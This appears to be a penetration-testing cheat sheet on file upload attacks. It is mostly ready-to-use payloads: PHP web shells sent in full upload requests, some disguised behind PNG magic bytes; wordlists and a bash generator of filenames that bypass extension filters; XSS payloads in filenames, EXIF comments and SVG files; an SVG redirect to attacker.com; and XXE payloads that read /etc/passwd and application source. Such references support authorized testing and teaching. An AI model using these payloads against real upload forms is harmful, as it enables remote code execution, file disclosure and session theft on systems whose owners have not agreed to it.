# File Upload Attacks

{% embed url="<https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Upload%20Insecure%20Files/Images/file-upload-mindmap.png>" %}

## Upload Scanner - Burp Extension

{% embed url="<https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa>" %}

## Absent Validation

### Vulnerability identification

`<?php echo "Hello HTB";?>` to `test.php`

### Read local files

```
<?php echo file_get_contents('/path/to/target/file'); ?>
```

### Web Shells

{% embed url="<https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/>" %}

{% content-ref url="../shells/web-shell" %}
[web-shell](https://0xss0rz.gitbook.io/0xss0rz/pentest/shells/web-shell)
{% endcontent-ref %}

### PHP disabled\_functions

```
<?php  
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));  
?>
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F2HXsvX3n3tdnzSn99p42%2F1%20hHDnFAzIcIXUhboEpy4iGg.webp?alt=media&#x26;token=e4ca654b-5aad-42bd-9055-f40a3024cb19" alt=""><figcaption></figcaption></figure>

{% embed url="<https://medium.com/@red.whisperer/5-advanced-ways-i-test-for-file-upload-vulnerabilities-5b01358f87d1>" %}

## File Type Check - Client-Side Validation

### Back-end Request Modification

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FrYfU6yEFRTUKXFe4sID8%2Fimage.png?alt=media&#x26;token=6920225a-4380-4c31-8690-d20a97de38c4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FsTImdzEe6B1FeEO7Ramt%2Fimage.png?alt=media&#x26;token=9a4f5ee3-0ff1-40d3-aad7-f99dced1d5c2" alt=""><figcaption></figcaption></figure>

### Disabling Front-end Validation

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FeOuLh5eiGhHK8cA5ejpf%2Fimage.png?alt=media&#x26;token=f0377361-e5fd-4a14-9011-81f942b9681b" alt=""><figcaption></figcaption></figure>

```html
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
```

```javascript
function checkFile(File) {
...SNIP...
    if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
        $('#error_message').text("Only images are allowed!");
        File.form.reset();
        $("#submit").attr("disabled", true);
    ...SNIP...
    }
}
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F24yVyUnPdqnr3UfC5AyD%2Fimage.png?alt=media&#x26;token=e7b1a0ee-6e51-404d-ab3a-c405b3368dba" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**Tip:** You may also do the same to remove `accept=".jpg,.jpeg,.png"`, which should make selecting the `PHP` shell easier in the file selection dialog, though this is not mandatory, as mentioned earlier.
{% endhint %}

## Blacklist Filters

### Blacklisting Extensions

```php
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}
```

{% hint style="info" %}
**Tip:** The comparison above is also case-sensitive, and is only considering lowercase extensions. In Windows Servers, file names are case insensitive, so we may try uploading a `php` with a mixed-case (e.g. `pHp`), which may bypass the blacklist as well, and should still execute as a PHP script.
{% endhint %}

### Bypass File Extension Exclusion Lists

#### Variations of PHP file extensions

```
.phtml
.php2
.php5
.php7
.phar
.phpt
.hphp
.inc
.module
.php3
.php4
.php5
.php6
.php7
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.ctp
```

#### Variation of ASP.NET file extensions

```
.asp
.aspx
.ashx
.asmx
.aspq
.axd
.dll
.cshtml
.vbhtml
.config
.cshtm
.rem
.soap
.vbhtm
.asa
.cer
.shtml
```

#### Variations of Java file extensions

```
.jsp
.jspx
.jsw
.jsv
.jspf
.action
.do
```

#### Various other file extension to test for

```
.svg
.html
.cgi
.htaccess
.cfm
```

### Fuzzing Extensions

#### PHP List

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst>" %}

#### ASP extensions

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP>" %}

Web extensions

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt>" %}

More extensions

{% embed url="<https://github.com/InfoSecWarrior/Offensive-Payloads/blob/main/File-Extensions-Wordlist.txt>" %}

#### What extension is allowed ?

Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.

Click the "Positions" tab now, find the filename and "Add §" to the extension. It should look like so:

![](https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MFF3hT6DtJlHn9jAel9%2F-MVuOBy9eaxn7QfohdDu%2F-MVuQKPx20GEZuWlk-QC%2Fimage.png?alt=media\&token=5a63c1cc-467c-41cf-89dd-6307eea8c092)

Use `/usr/share/wordlists/dirb/extensions_common.txt`

Uncheck url-encoding

![](https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MFF3hT6DtJlHn9jAel9%2F-MVuOBy9eaxn7QfohdDu%2F-MVuSdcLZm0MrNvv5jk8%2Fimage.png?alt=media\&token=1cb35b61-be3f-498b-95d0-8c94fbe507b2)

Run the attack

Search for Non-Blacklisted Extensions - Look Content Length

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fyjs1b5PnzhjMq4T3HO5E%2Fimage.png?alt=media&#x26;token=ebd189ce-7411-4911-911f-49f8cb911552" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
`Not all extensions will work with all web server configurations`, so we may need to try several extensions to get one that successfully executes PHP code.
{% endhint %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Fkx4k1odnItwIVA0FZ9F7%2Fimage.png?alt=media&#x26;token=18acb444-6210-450e-856f-ffd0f79e0bd6" alt=""><figcaption></figcaption></figure>

## Type of attack based on extension

ASP Applications:

.asa -> potential remote code execution&#x20;

.asax -> potential remote code execution&#x20;

.asp -> potential remote code execution .aspx -> potential remote code execution

Java Applications:&#x20;

.jsp -> potential remote code execution&#x20;

.jspx -> potential remote code execution

Perl Applications:&#x20;

.pl -> potential remote code execution

Python Applications:&#x20;

.py -> potential remote code execution

Ruby Applications:&#x20;

.rb -> potential remote code execution

Other files that should be restricted for most applications:

.bat

.cgi .exe&#x20;

.htm -> potential XSS&#x20;

.html -> potential XSS&#x20;

.jar&#x20;

.rar&#x20;

.shtml&#x20;

.svg -> potential XSS&#x20;

.swf -> potential XSS&#x20;

.tar&#x20;

.zip&#x20;

.cer -> potential XSS&#x20;

.hxt -> potential XSS&#x20;

.stm -> potential XSS

## Whitelist Filters

```php
$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}
```

### Double Extensions

#### Rename it

```
file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FoNDWj2faELiEpOoH87dO%2F1734178103-image_4.avif?alt=media&#x26;token=7bc98042-64e7-4c78-ac04-c05a3dd83e75" alt=""><figcaption></figcaption></figure>

```
.php.png
.png.php
.PhP
.php%0A.png
.php%0D.png
.php.
.php.\png
.php./png
.php%20.png
.php?.png
.php#.png
shell (no file extension)
shell. (no file extension)
(no file name)
```

```
shell.php.jpg
shell.png.php
shell.jpeg.php5
```

`shell.jpg.php`

`shell.phar.jpeg`

`exploit%2Ephp`

`exploit.asp;.jpg` or `exploit.asp%00.jpg`

{% hint style="info" %}
*Fuzz the upload form with* [*This Wordlist*](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt) *to find what extensions are whitelisted by the upload form*
{% endhint %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FPmIvkqKbYq1bQ7DKIRl4%2Fimage.png?alt=media&#x26;token=cf2a0a28-8797-40ab-86ba-2c61a07dd93f" alt=""><figcaption></figcaption></figure>

```php
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ...SNIP... }
```

Only consider the final file extension, as it uses (`^.*\.`) to match everything up to the last (`.`), and then uses (`$`) at the end to only match extensions that end the file name

Insecure configuration:

`/etc/apache2/mods-enabled/php7.4.conf`

```xml
<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>
```

`shell.php.jpg` should pass the earlier whitelist test as it ends with (`.jpg`), and it would be able to execute PHP code due to the above misconfiguration, as it contains (`.php`) in its name.

{% hint style="info" %}
The web application may still utilize a blacklist to deny requests containing `PHP` extensions. Try to fuzz the upload form with the [PHP Wordlist](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) to find what extensions are blacklisted by the upload form.
{% endhint %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FXD6kpqp7I0CBFqxCAoJi%2Fimage.png?alt=media&#x26;token=e6b9697b-8e07-4674-9a4d-85eca138319d" alt=""><figcaption></figcaption></figure>

### Bypass

1️⃣ Rename \`[shell.php](http://shell.php/?trk=public_post-text)\` to \`[shell.jpg](http://shell.jpg/?trk=public_post-text)\`.&#x20;

2️⃣ Upload the file and intercept the request.&#x20;

3️⃣ Modify the filename to \`[shell.jpg.php](http://shell.jpg.php/?trk=public_post-text)\`.

4️⃣ Change the Content-Type to \`application/x-httpd-php\`.&#x20;

5️⃣ Upload succeeds, and the file gets executed as PHP!

### Capitalize the file extension

```
file.pHP5
```

### Obfuscationg file extension

```
exploit.p.phphp
```

### Character Injection

We can inject several characters before or after the final extension to cause the web application to misinterpret the filename and execute the uploaded file as a PHP script.

The following are some of the characters we may try injecting:

* `%20`
* `%0a`
* `%00`
* `%0d0a`
* `/`
* `.\`
* `.`
* `…`
* `:`&#x20;

#### Null Byte

`shell.php%00.jpg` works with PHP servers with version `5.X` or earlier

```
blank.php%00.png
blank.php%2500.png
```

**Windows server:** injecting a colon (`:`) before the allowed file extension (e.g. `shell.aspx:.jpg`), which should also write the file as (`shell.aspx`)

`exploit.asp;.jpg` or `exploit.asp%00.jpg`

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
```

Then, fuzz extensions

```
# vim char_injection.sh
# chmod +x char_injection.sh 
# ./char_injection.sh        
```

```
# cat wordlist.txt 
```

wordlist.txt

```
shell%20.php.jpg
shell.php%20.jpg
shell.jpg%20.php
shell.jpg.php%20
shell%20.phps.jpg
shell.phps%20.jpg
shell.jpg%20.phps
shell.jpg.phps%20
shell%0a.php.jpg
shell.php%0a.jpg
shell.jpg%0a.php
shell.jpg.php%0a
shell%0a.phps.jpg
shell.phps%0a.jpg
shell.jpg%0a.phps
shell.jpg.phps%0a
shell%00.php.jpg
shell.php%00.jpg
shell.jpg%00.php
shell.jpg.php%00
shell%00.phps.jpg
shell.phps%00.jpg
shell.jpg%00.phps
shell.jpg.phps%00
shell%0d0a.php.jpg
shell.php%0d0a.jpg
shell.jpg%0d0a.php
shell.jpg.php%0d0a
shell%0d0a.phps.jpg
shell.phps%0d0a.jpg
shell.jpg%0d0a.phps
shell.jpg.phps%0d0a
shell/.php.jpg
shell.php/.jpg
shell.jpg/.php
shell.jpg.php/
shell/.phps.jpg
shell.phps/.jpg
shell.jpg/.phps
shell.jpg.phps/
shell.\.php.jpg
shell.php.\.jpg
shell.jpg.\.php
shell.jpg.php.\
shell.\.phps.jpg
shell.phps.\.jpg
shell.jpg.\.phps
shell.jpg.phps.\
shell..php.jpg
shell.php..jpg
shell.jpg..php
shell.jpg.php.
shell..phps.jpg
shell.phps..jpg
shell.jpg..phps
shell.jpg.phps.
shell….php.jpg
shell.php….jpg
shell.jpg….php
shell.jpg.php…
shell….phps.jpg
shell.phps….jpg
shell.jpg….phps
shell.jpg.phps…
shell:.php.jpg
shell.php:.jpg
shell.jpg:.php
shell.jpg.php:
shell:.phps.jpg
shell.phps:.jpg
shell.jpg:.phps
shell.jpg.phps:
```

Add `.phar` et `.php8` to the list

```bash
#!/bin/bash

# List of characters
chars=('%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':')

# List of extensions
extensions=('.php' '.phps' '.phar' '.php8')

# Create or clear the wordlist file
> wordlist.txt

# Loop through each character
for char in "${chars[@]}"; do
    # Loop through each extension
    for ext in "${extensions[@]}"; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done


```

New wordlist

```
shell%20.php.jpg
shell.php%20.jpg
shell.jpg%20.php
shell.jpg.php%20
shell%20.phps.jpg
shell.phps%20.jpg
shell.jpg%20.phps
shell.jpg.phps%20
shell%20.phar.jpg
shell.phar%20.jpg
shell.jpg%20.phar
shell.jpg.phar%20
shell%20.php8.jpg
shell.php8%20.jpg
shell.jpg%20.php8
shell.jpg.php8%20
shell%0a.php.jpg
shell.php%0a.jpg
shell.jpg%0a.php
shell.jpg.php%0a
shell%0a.phps.jpg
shell.phps%0a.jpg
shell.jpg%0a.phps
shell.jpg.phps%0a
shell%0a.phar.jpg
shell.phar%0a.jpg
shell.jpg%0a.phar
shell.jpg.phar%0a
shell%0a.php8.jpg
shell.php8%0a.jpg
shell.jpg%0a.php8
shell.jpg.php8%0a
shell%00.php.jpg
shell.php%00.jpg
shell.jpg%00.php
shell.jpg.php%00
shell%00.phps.jpg
shell.phps%00.jpg
shell.jpg%00.phps
shell.jpg.phps%00
shell%00.phar.jpg
shell.phar%00.jpg
shell.jpg%00.phar
shell.jpg.phar%00
shell%00.php8.jpg
shell.php8%00.jpg
shell.jpg%00.php8
shell.jpg.php8%00
shell%0d0a.php.jpg
shell.php%0d0a.jpg
shell.jpg%0d0a.php
shell.jpg.php%0d0a
shell%0d0a.phps.jpg
shell.phps%0d0a.jpg
shell.jpg%0d0a.phps
shell.jpg.phps%0d0a
shell%0d0a.phar.jpg
shell.phar%0d0a.jpg
shell.jpg%0d0a.phar
shell.jpg.phar%0d0a
shell%0d0a.php8.jpg
shell.php8%0d0a.jpg
shell.jpg%0d0a.php8
shell.jpg.php8%0d0a
shell/.php.jpg
shell.php/.jpg
shell.jpg/.php
shell.jpg.php/
shell/.phps.jpg
shell.phps/.jpg
shell.jpg/.phps
shell.jpg.phps/
shell/.phar.jpg
shell.phar/.jpg
shell.jpg/.phar
shell.jpg.phar/
shell/.php8.jpg
shell.php8/.jpg
shell.jpg/.php8
shell.jpg.php8/
shell.\\.php.jpg
shell.php.\\.jpg
shell.jpg.\\.php
shell.jpg.php.\\
shell.\\.phps.jpg
shell.phps.\\.jpg
shell.jpg.\\.phps
shell.jpg.phps.\\
shell.\\.phar.jpg
shell.phar.\\.jpg
shell.jpg.\\.phar
shell.jpg.phar.\\
shell.\\.php8.jpg
shell.php8.\\.jpg
shell.jpg.\\.php8
shell.jpg.php8.\\
shell..php.jpg
shell.php..jpg
shell.jpg..php
shell.jpg.php.
shell..phps.jpg
shell.phps..jpg
shell.jpg..phps
shell.jpg.phps.
shell..phar.jpg
shell.phar..jpg
shell.jpg..phar
shell.jpg.phar.
shell..php8.jpg
shell.php8..jpg
shell.jpg..php8
shell.jpg.php8.
shell….php.jpg
shell.php….jpg
shell.jpg….php
shell.jpg.php…
shell….phps.jpg
shell.phps….jpg
shell.jpg….phps
shell.jpg.phps…
shell….phar.jpg
shell.phar….jpg
shell.jpg….phar
shell.jpg.phar…
shell….php8.jpg
shell.php8….jpg
shell.jpg….php8
shell.jpg.php8…
shell:.php.jpg
shell.php:.jpg
shell.jpg:.php
shell.jpg.php:
shell:.phps.jpg
shell.phps:.jpg
shell.jpg:.phps
shell.jpg.phps:
shell:.phar.jpg
shell.phar:.jpg
shell.jpg:.phar
shell.jpg.phar:
shell:.php8.jpg
shell.php8:.jpg
shell.jpg:.php8
shell.jpg.php8:

```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F8xp09firmhlIVzisGDIa%2Fimage.png?alt=media&#x26;token=528658d8-cd36-42c3-b8e5-a25329c35483" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FCzU3dOycmzP00MQevBfV%2Fimage.png?alt=media&#x26;token=9c005cdd-036c-4763-abf5-3eeb1fbd85fe" alt=""><figcaption></figcaption></figure>

## Type Filters

```
POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.png"
Content-Type: application/x-php

<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--
```

### Content-Type

```
Content-Disposition: form-data; name="myFile"; filename="php-reverse-shell.php"
Content-Type: application/x-php

#Change to Content-Type: image/jpeg or Content-Type: image/png
```

```php
$type = $_FILES['uploadFile']['type'];

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}
```

Fuzz Content-Type header:

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt>" %}

Only images are allowed - reduces the wordlist to `45` types only (compared to around 700 originally):

```shell-session
$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Miscellaneous/web/content-type.txt
$ cat content-type.txt | grep 'image/' > image-content-types.txt
```

&#x20;Intercept our upload request and change the Content-Type header to it:

```
Content-Type: image/jpg
```

Also try with:

```
Content-Type: image/png
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FdycC68y0pOUUITEQ6Ed3%2Fimage.png?alt=media&#x26;token=c691b028-1194-40e8-bc40-a501a3428f7b" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
***Note:** A file upload HTTP request has two Content-Type headers, one for the attached file (at the bottom), and one for the full request (at the top). We usually need to modify the file's Content-Type header, but in some cases the request will only contain the main Content-Type header (e.g. if the uploaded content was sent as `POST` data), in which case we will need to modify the main Content-Type header.*
{% endhint %}

### MIME-Type

{% embed url="<https://en.wikipedia.org/wiki/List_of_file_signatures>" %}

{% hint style="info" %}
*Start with GIF*
{% endhint %}

```shell-session
$ echo "this is a text file" > text.jpg 
$ file text.jpg 
text.jpg: ASCII text
```

```shell-session
$ echo "GIF8" > text.jpg 
$file text.jpg
text.jpg: GIF image data
```

PHP - Example testing the MIME type of an uploaded file:

```php
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F77TEmmTu6YBWB7uwWa1B%2Fimage.png?alt=media&#x26;token=0d4bd08e-57ec-4fd8-a6f0-ee05461b7820" alt=""><figcaption></figcaption></figure>

Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters:

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F2UwFy541Uo5ZCfY6vBAq%2Fimage.png?alt=media&#x26;token=b1b76941-733d-4e6a-98e1-d08204d760b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FD6f3iSIjd8O7wGb8eda9%2Fimage.png?alt=media&#x26;token=ab3ba6fe-da5a-4149-be6a-72dac00c313a" alt=""><figcaption></figcaption></figure>

GIF not allowed - Upload a jpeg/PNG file, change the content without removing file signature

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FvlVqbRamcJrIoye8B1Da%2Fimage.png?alt=media&#x26;token=c753abd7-4ef0-4341-adc2-25b095ecde90" alt=""><figcaption></figcaption></figure>

### Magic Bytes

See [Magic Numbers](#magic-number)

These are the magic bytes for a normal image (PNG) in HEX:

```
89 50 4E 47 0D 0A 1A 0A
```

```
POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.php"
Content-Type: application/x-php

‰PNG␍␊␚␊
<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--
```

## File Upload Validation Bypass

{% embed url="<https://blog.sicuranext.com/breaking-down-multipart-parsers-validation-bypass/?s=03>" %}

## File Upload Path Traversal

Executable can be uploaded but restriction prevents execution. Try uploading to another folder

```
%2e%2e%2fshell.php
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FqkFajZQbOLXlFK6ohlyg%2Fimage.png?alt=media&#x26;token=3f0b731d-44b9-44fc-80d5-5be307101571" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FwH0JzVF7TX8S4BrJGgv1%2Fimage.png?alt=media&#x26;token=288763b8-a656-40f3-983f-75bbfcc75ea0" alt=""><figcaption></figcaption></figure>

{% embed url="<https://medium.com/@jp-sec/file-upload-attacks-with-path-traversal-9b6ba1d561f1>" %}

Other vectors of attacks

{% embed url="<https://github.com/getgrav/grav/security/advisories/GHSA-m7hx-hw6h-mqmc>" %}

## File Upload Bypass to CSPT

{% embed url="<https://blog.doyensec.com/2025/01/09/cspt-file-upload.html>" %}

## Bypass content length validation

Small payload

```
(<?=`$_GET[x]`?>)
```

## PDF Converter - Libre Office

Upload .odt file - Download generated pdf and analyse it with exiftool

````
# exiftool CV.pdf 
ExifTool Version Number         : 12.57
File Name                       : CV.pdf
Directory                       : .
File Size                       : 58 kB
File Modification Date/Time     : 2024:12:30 03:09:53-05:00
File Access Date/Time           : 2024:12:30 03:20:55-05:00
File Inode Change Date/Time     : 2024:12:30 03:21:33-05:00
File Permissions                : -rw-rw----
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 2
Language                        : fr-FR
Author                          : someone
Creator                         : Writer
Producer                        : LibreOffice 6.3
Create Date                     : 2024:12:30 08:09:53Z
```
````

{% embed url="<https://github.com/elweth-sec/CVE-2023-2255>" %}

{% embed url="<https://ctftime.org/writeup/15482>" %}

{% embed url="<https://ctf.zeyu2001.com/2022/securinets-ctf-quals-2022/document-converter>" %}

## Limited File Uploads

### XSS

{% content-ref url="xss" %}
[xss](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/xss)
{% endcontent-ref %}

Try to inject xss in file name. For example:

<pre><code>">&#x3C;img src=x onerror=prompt(1)>.jpg
<strong>">&#x3C;img src=x onerror=alert(document.domain)>.png
</strong>">&#x3C;img src="/" =_=" title="onerror='prompt(document.cookie)'">.png
</code></pre>

{% embed url="<https://github.com/coffinxp/img-payloads>" %}

{% embed url="<https://github.com/h6nt3r/file_upload_payloads/tree/main/xss/rxss>" %}

#### Comment

```shell-session
$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
$ exiftool HTB.jpg
...SNIP...
Comment                         :  "><img src=1 onerror=alert(window.origin)>
```

#### SVG

alert.svg

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
```

domain.svg

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)" />
```

HTB.svg

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

Other payload

```svg
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="300">  
        <circle cx="150" cy="147.5" r="50" fill="#DA3A00" />  
        <script>console.log("Javascript execution")</script>  
</svg>
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FOZ11IxSjAh2IgJivyx8Q%2F1%20d-JVsLszjfQRUCXihV8Uyg.webp?alt=media&#x26;token=85fcd5a7-39a4-45c0-9e85-8abeeade61ac" alt=""><figcaption></figcaption></figure>

{% embed url="<https://medium.com/@red.whisperer/5-advanced-ways-i-test-for-file-upload-vulnerabilities-5b01358f87d1>" %}

### SVG - Keylogger

{% embed url="<https://github.com/11whoami99/XSS-keylogger/tree/main>" %}

### SVG - Open Redirect

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://www.attacker.com/'"
xmlns="http://www.w3.org/2000/svg">
</svg>
```

{% embed url="<https://www.wizlynxgroup.com/security-research-advisories/vuln/WLX-2020-009>" %}

### SVG - XXE - X-Requested-With: XMLHttpRequest

```
X-Requested-With: XMLHttpRequest
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FcoDIvj1Xijy56FSLMuHh%2Fimage.png?alt=media&#x26;token=7f51804c-5e27-4aa8-803c-c5723fcf7472" alt=""><figcaption></figcaption></figure>

poc.svg

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

Read source code in PHP web applications

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F7ZNXr9CmMc6557hBkUhG%2Fimage.png?alt=media&#x26;token=2ea20139-3667-4b52-89b6-62c3bc4da72d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F7y6nRe6Uej4DOtnyu53y%2Fimage.png?alt=media&#x26;token=d3f0d550-523f-45b6-be31-8b449929075f" alt=""><figcaption></figcaption></figure>

XML data is not unique to SVG images, as it is also utilized by many types of documents, like `PDF`, `Word Documents`, `PowerPoint Documents`, among many others.

XXE vulnerability to enumerate the internally available services or even call private APIs to perform private actions

{% content-ref url="xxe-xslt" %}
